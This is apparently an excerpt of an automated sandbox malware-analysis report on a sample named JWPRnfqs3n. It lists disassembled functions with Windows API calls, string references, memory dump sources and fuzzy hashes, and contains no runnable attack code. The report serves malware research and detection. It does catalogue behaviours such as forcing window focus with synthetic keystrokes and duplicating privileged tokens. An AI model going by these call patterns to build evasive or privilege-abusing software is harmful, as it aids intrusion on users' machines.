Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0083FCB7

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 2d62ae91ed03bfc8a6dff840bc10486d27946e94b5a16f773fa59188227eb50f
Instruction ID: 259339cb77e7a194745a6cb3d98b6f0c023eeabb034aac946c9077704bae0893
Opcode Fuzzy Hash: 2d62ae91ed03bfc8a6dff840bc10486d27946e94b5a16f773fa59188227eb50f
Instruction Fuzzy Hash: 034108745043519FDB54DF18C848B1ABBE0FF45318F0988ACE9998B362C731E885CF92

Function 00807B53 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00807BB3

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 943e03756ac5436c064ce611558a88fa9ab8fb449eca820566662923525ccd07
Instruction ID: 3681f1a96714f938a6064e143b533588484d85d06c882e27eac42c619c55e2eb
Opcode Fuzzy Hash: 943e03756ac5436c064ce611558a88fa9ab8fb449eca820566662923525ccd07
Instruction Fuzzy Hash: A62121B2A14A1EEBDB108F25EC4176E7BB4FB94360F21852AE886C51E0EB30D1D0D785

Function 008206FD Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b04da22c93e3fc01b9820f0760eb7faed3dd03051ca0b1b6a993d43e0ac9c69b
Instruction ID: 7b3249fcdaad12a78d83b400b03332e5eda8476345d7b6611a36ad28c7a6ad5b
Opcode Fuzzy Hash: b04da22c93e3fc01b9820f0760eb7faed3dd03051ca0b1b6a993d43e0ac9c69b
Instruction Fuzzy Hash: AF216D314097519FD7225B78BC01AE77BA4EF43320B0647A6FCA48B4E2E3251E61DAA1

Function 00804DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00804BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00804BEF

Part of subcall function 0082525B: __wfsopen.LIBCMT ref: 00825266

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,008C52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00804E0F

Part of subcall function 00804B6A: FreeLibrary.KERNEL32(00000000), ref: 00804BA4

Part of subcall function 00804C70: _memmove.LIBCMT ref: 00804CBA

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 8e69a5c9931b69c6bfe70a4266def9d4138c56410599e7ea153f0363e05f774b
Instruction ID: 69cf53b5d1cc05ee9726c3e4af05183c9e43570cf4324225504d34515870ac9d
Opcode Fuzzy Hash: 8e69a5c9931b69c6bfe70a4266def9d4138c56410599e7ea153f0363e05f774b
Instruction Fuzzy Hash: A411C472680205ABCF14AFB8CC12F6D77A9FF84720F108829F741E71C1DA7599019B92

Function 0083FD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0083FD91

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 13a54df706f449f753baa450d0559405585819bc3bf8d64b52e18b6fea5c967d
Instruction ID: 84257517050546a56bb768608ec95c2d792af2c4b51e766c02b823e5731295c5
Opcode Fuzzy Hash: 13a54df706f449f753baa450d0559405585819bc3bf8d64b52e18b6fea5c967d
Instruction Fuzzy Hash: 8221F0B4908305DFDB54DF64C844A1ABBE0FF88314F058968E98A97762D731E845CB92

Function 00824863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 008248A6

Part of subcall function 00828B28: __getptd_noexit.LIBCMT ref: 00828B28

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: 64408703e84e43c72e42c8bb6b6899062e7233d0640ea51a53153e498f13376c
Instruction ID: fbcce16b4b8b25456a43ab305e2fc234a68084a689bd3cc33f73c7bb90d33c1b
Opcode Fuzzy Hash: 64408703e84e43c72e42c8bb6b6899062e7233d0640ea51a53153e498f13376c
Instruction Fuzzy Hash: A7F0C831911629EBDF11AF78EC057EE36E0FF01325F155424F424D6291DB7889D1DB62

Function 00804E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,008C52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00804E7E

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3109ed1952e65c0953fd1c2ced1339d02275efe947b90b4b9ba4186fccf01324
Instruction ID: ac88fc4117f58e9d3899e978eac00ee7044223a730c18f18bdf6ddba416eea3f
Opcode Fuzzy Hash: 3109ed1952e65c0953fd1c2ced1339d02275efe947b90b4b9ba4186fccf01324
Instruction Fuzzy Hash: C0F039B1641711CFCB749F68E894812BBE1FF143793209A3EE2D6C2660C732A880DF40

Function 00820791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 008207B0

Part of subcall function 00807BCC: _memmove.LIBCMT ref: 00807C06

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 0c7dc1fc228853e9e4f41bcaa08f8d7a586f73eaa51d3a5e7273d7e5ae8e5fa2
Instruction ID: bcec31e7549b0159b50c0abcee22e29864c7874175b6042b6f5dfe230f99cca4
Opcode Fuzzy Hash: 0c7dc1fc228853e9e4f41bcaa08f8d7a586f73eaa51d3a5e7273d7e5ae8e5fa2
Instruction Fuzzy Hash: A3E0CD3690412857C720D65C9C05FEA77DDEFC87A0F0541B5FD0CD7245DE60AC8086D1

Function 00868E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00868EC1

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: 045d1df278ed5684a1650d72c60e4778c5ac1ec4050dd0263bf7afe5ea7c774a
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: 3DE092B0104B009FD7388A24D801BA373E1FB05304F00091DF2AAC3241EF63B8418B59

Function 0082525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00825266

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: c55728a3be80fae1fce41ea41e945209dec5b7186d283d67de4621901b15cb5b
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: EAB0927648020CB7CE012A86FC02A593B1AEB41B64F408020FB0C181A2A673A6A49A8A

Function 00E54F30 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00E54F41

Memory Dump Source

Source File: 00000005.00000002.1333401749.0000000000E52000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E52000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_e52000_JWPRnfqs3n.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 4fea9a90f3471523ac0272e0027df157a25dee75b24a7eb367734c8116ea35ae
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: CBE0BF7494510D9FDB00EFA8D54969E7BB4EF04302F100561FD05A2280D63099548A62

Non-executed Functions

Function 0088CABC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0088CB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0088CB95
GetWindowLongW.USER32(?,000000F0), ref: 0088CBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0088CC00
SendMessageW.USER32 ref: 0088CC29
_wcsncpy.LIBCMT ref: 0088CC95
GetKeyState.USER32(00000011), ref: 0088CCB6
GetKeyState.USER32(00000009), ref: 0088CCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0088CCD9
GetKeyState.USER32(00000010), ref: 0088CCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0088CD0C
SendMessageW.USER32 ref: 0088CD33
SendMessageW.USER32(?,00001030,?,0088B348), ref: 0088CE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0088CE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0088CE60
SetCapture.USER32(?), ref: 0088CE69
ClientToScreen.USER32(?,?), ref: 0088CECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0088CEDB
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0088CEF5
ReleaseCapture.USER32 ref: 0088CF00
GetCursorPos.USER32(?), ref: 0088CF3A
ScreenToClient.USER32(?,?), ref: 0088CF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 0088CFA3
SendMessageW.USER32 ref: 0088CFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 0088D00E
SendMessageW.USER32 ref: 0088D03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0088D05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0088D06D
GetCursorPos.USER32(?), ref: 0088D08D
ScreenToClient.USER32(?,?), ref: 0088D09A
GetParent.USER32(?), ref: 0088D0BA
SendMessageW.USER32(?,00001012,00000000,?), ref: 0088D123
SendMessageW.USER32 ref: 0088D154
ClientToScreen.USER32(?,?), ref: 0088D1B2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0088D1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 0088D20C
SendMessageW.USER32 ref: 0088D22F
ClientToScreen.USER32(?,?), ref: 0088D281
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0088D2B5

Part of subcall function 008025DB: GetWindowLongW.USER32(?,000000EB), ref: 008025EC

GetWindowLongW.USER32(?,000000F0), ref: 0088D351

Strings

S, xrefs: 0088CC5F, 0088CDBA, 0088CDDD, 0088CE0F, 0088CF5F, 0088D0E0, 0088D18C, 0088D1BC, 0088D25F, 0088D28B, 0088D2DB, 0088D33E, 0088D362, 0088D38C
F, xrefs: 0088D235
@GUI_DRAGID, xrefs: 0088CE9C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: S$@GUI_DRAGID$F
API String ID: 3977979337-4084185108
Opcode ID: 8f741025b64d56a28ba659732599d018ce6688917e3ea0a5d533c2c99ad317fc
Instruction ID: cdd927c7625440d00c18a39456455c0ab8f789782fcb7136b394ea279d81aa7e
Opcode Fuzzy Hash: 8f741025b64d56a28ba659732599d018ce6688917e3ea0a5d533c2c99ad317fc
Instruction Fuzzy Hash: FE42AD74204741AFDB20EF28C848EAABBE5FF49320F140629F659C72B5D771E844DB62

Function 00816F9E Relevance: 48.8, APIs: 19, Strings: 6, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 008171C3
_memset.LIBCMT ref: 00817539
_memmove.LIBCMT ref: 008176AC

Strings

[:<:]], xrefs: 00817479
Q\E, xrefs: 00817FCB
[:>:]], xrefs: 00817492
\b(?=\w), xrefs: 00853769
\b(?<=\w), xrefs: 00853773
DEFINE, xrefs: 00852103

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memmove$_memset
String ID: DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
API String ID: 1357608183-1798697756
Opcode ID: 4074268cbe372d80987b8a0f9c932abe27a692540b4600758db7440d39d3c0ae
Instruction ID: 5f3da692b721eae4a7de49f743420b085d549a93788b14b0b090983642608bd0
Opcode Fuzzy Hash: 4074268cbe372d80987b8a0f9c932abe27a692540b4600758db7440d39d3c0ae
Instruction Fuzzy Hash: A1939D75A04219DBDB24CFA8C881BEDB7B1FF48355F24816AED45EB281E7709E85CB40

Function 008048D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 008048DF
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0083D665
IsIconic.USER32(?), ref: 0083D66E
ShowWindow.USER32(?,00000009), ref: 0083D67B
SetForegroundWindow.USER32(?), ref: 0083D685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0083D69B
GetCurrentThreadId.KERNEL32 ref: 0083D6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 0083D6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0083D6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 0083D6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 0083D6CF
SetForegroundWindow.USER32(?), ref: 0083D6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 0083D6E7
keybd_event.USER32(00000012,00000000), ref: 0083D6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 0083D6FC
keybd_event.USER32(00000012,00000000), ref: 0083D701
MapVirtualKeyW.USER32(00000012,00000000), ref: 0083D70A
keybd_event.USER32(00000012,00000000), ref: 0083D70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 0083D719
keybd_event.USER32(00000012,00000000), ref: 0083D71E
SetForegroundWindow.USER32(?), ref: 0083D721
AttachThreadInput.USER32(?,?,00000000), ref: 0083D748

Strings

Shell_TrayWnd, xrefs: 0083D660

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: fa9108320540ed23bf8595b96e262749423e028cb6618596724c69a196e64160
Instruction ID: 7be90da7e8f7e26a3a1178c434a7668be05895544a4b57453fcfc1bfbe6f301a
Opcode Fuzzy Hash: fa9108320540ed23bf8595b96e262749423e028cb6618596724c69a196e64160
Instruction Fuzzy Hash: 26317271A40318BBEB206B659C4AF7F7E6CFB84B50F104025FB05EA1D2D6B05911ABE0

Function 00858310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 008587E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0085882B
Part of subcall function 008587E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00858858
Part of subcall function 008587E1: GetLastError.KERNEL32 ref: 00858865

_memset.LIBCMT ref: 00858353
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 008583A5
CloseHandle.KERNEL32(?), ref: 008583B6
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 008583CD
GetProcessWindowStation.USER32 ref: 008583E6
SetProcessWindowStation.USER32(00000000), ref: 008583F0
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 0085840A

Part of subcall function 008581CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00858309), ref: 008581E0
Part of subcall function 008581CB: CloseHandle.KERNEL32(?,?,00858309), ref: 008581F2

Strings

winsta0, xrefs: 008583C8
default, xrefs: 00858405
, xrefs: 00858362

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: c812a4deaf9e9db3898ad6a7950606a0a30e89f0ec9d784eca79c232a668df23
Instruction ID: a3b665ff41ead2631233775976704562ae3395d0bb181cd2fa82fd73439b51bd
Opcode Fuzzy Hash: c812a4deaf9e9db3898ad6a7950606a0a30e89f0ec9d784eca79c232a668df23
Instruction Fuzzy Hash: 85812575900209EEDF119FA8DC45AEEBBB9FF08305F14416AFD14F6261EB318A189B21

Function 0086C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0086C78D
FindClose.KERNEL32(00000000), ref: 0086C7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0086C806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0086C81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 0086C844
__swprintf.LIBCMT ref: 0086C890
__swprintf.LIBCMT ref: 0086C8D3

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

__swprintf.LIBCMT ref: 0086C927

Part of subcall function 00823698: __woutput_l.LIBCMT ref: 008236F1

__swprintf.LIBCMT ref: 0086C975

Part of subcall function 00823698: __flsbuf.LIBCMT ref: 00823713
Part of subcall function 00823698: __flsbuf.LIBCMT ref: 0082372B

__swprintf.LIBCMT ref: 0086C9C4
__swprintf.LIBCMT ref: 0086CA13
__swprintf.LIBCMT ref: 0086CA62

Strings

%4d, xrefs: 0086C8CD
%02d, xrefs: 0086C91B, 0086C925, 0086C973, 0086C9C2, 0086CA11, 0086CA60
%4d%02d%02d%02d%02d%02d, xrefs: 0086C88A

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: e646a5fa42715833bab64e1f8dc626ce856faf11427f801bb0272176a1019e4d
Instruction ID: 00a2ac69239b42dc872c72d9a85298d1d4850a0ea27d9c7bbd162a5c58667a24
Opcode Fuzzy Hash: e646a5fa42715833bab64e1f8dc626ce856faf11427f801bb0272176a1019e4d
Instruction Fuzzy Hash: 88A11DB1404204ABC750EFA8DC85DAFB7ECFF95704F404929F595C6292EA34DA48CB63

Function 0086EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 0086EFB6
